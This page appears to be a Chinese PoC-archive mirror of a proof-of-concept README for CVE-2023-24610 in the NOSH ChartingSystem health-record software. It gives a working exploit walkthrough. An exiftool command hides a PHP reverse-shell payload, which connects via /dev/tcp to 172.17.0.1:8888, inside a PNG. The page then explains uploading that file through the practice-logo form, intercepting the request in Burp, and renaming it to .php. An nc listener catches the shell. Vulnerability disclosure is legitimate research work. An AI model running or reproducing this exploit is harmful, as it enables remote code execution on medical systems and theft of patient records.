目标达成 感谢每一位支持者 — 我们达成了 100% 目标!

目标: 1000 元 · 已筹: 1359 元

100%

CVE-2023-24610 PoC — NOSH ChartingSystem 代码问题漏洞

来源
关联漏洞
标题: NOSH ChartingSystem 代码问题漏洞 (CVE-2023-24610)
Description:NOSH ChartingSystem是专为医生和患者设计的电子健康记录系统。 NOSH ChartingSystem 4a5cfdb存在安全漏洞。攻击者利用该漏洞可以执行PHP任意代码。
Description
This is a proof of concept for CVE-2023-24610
介绍
# CVE-2023-24610
This is a proof of concept for CVE-2023-24610


We start by creating a polyglot file using exiftool:
exiftool -Comment="<?php exec('bash -c \'exec bash -i &>/dev/tcp/172.17.0.1/8888 <&1\''); ?>" avatar.png -o polyglot.php

![nosh1](https://user-images.githubusercontent.com/21143253/216094950-2c4e5c40-6ab0-4505-945a-35dfb85a01d0.png)


We change the file to png so it will pass the front-end check

![nosh2](https://user-images.githubusercontent.com/21143253/216095402-2954df75-e7e8-4585-a42c-124691ff02bc.png)


After that, we start a nc listener on port 8888 to receive the shell.

![nosh3](https://user-images.githubusercontent.com/21143253/216095427-24cc5220-ad5b-4c74-bd53-089e87e5084f.png)


Next step is to log to the application and click on setup

![nosh4](https://user-images.githubusercontent.com/21143253/216095442-abb43bb3-dc09-4dc1-8547-5908144a7236.png)


On the bottom of the page, we see a practice logo area. We can upload a file using the edit button on the right side

![nosh5](https://user-images.githubusercontent.com/21143253/216095499-dfb3f3a0-e6ee-4225-abcd-c2f872633355.png)


We click on edit and then click on browse, we select the “.png” file we created on the first step 

![nosh6](https://user-images.githubusercontent.com/21143253/216095515-1b400ad3-c939-4f94-9fd7-b2520c026253.png)


Before we click upload, we make sure we intercept the request with burp or something similar.
We click upload and in burp we change the file extension from “png” to “php”

![nosh7](https://user-images.githubusercontent.com/21143253/216095807-825bf30e-2394-4fe9-bcb1-dcaa5ea1c165.png)


We switch the intercept off so our file gets uploaded and check the nc listener that we started before.
We have a reverse shell and the IP points to our docker container. 

![nosh8](https://user-images.githubusercontent.com/21143253/216095823-3e43151d-547a-4435-9bd8-75de780d3d9d.png)

文件快照

登录后查看神龙缓存的 POC 文件快照

登录查看
备注
    1. 建议优先通过来源进行访问。
    2. 本地 POC 快照面向订阅用户开放;当原始来源失效或无法访问时,本地镜像作为订阅权益的一部分提供。
    3. 持续抓取、验证、维护这份 POC 档案需要不少投入,因此本地快照已纳入付费订阅。您的订阅是让这份资料能继续走下去的关键,由衷感谢。 查看订阅方案 →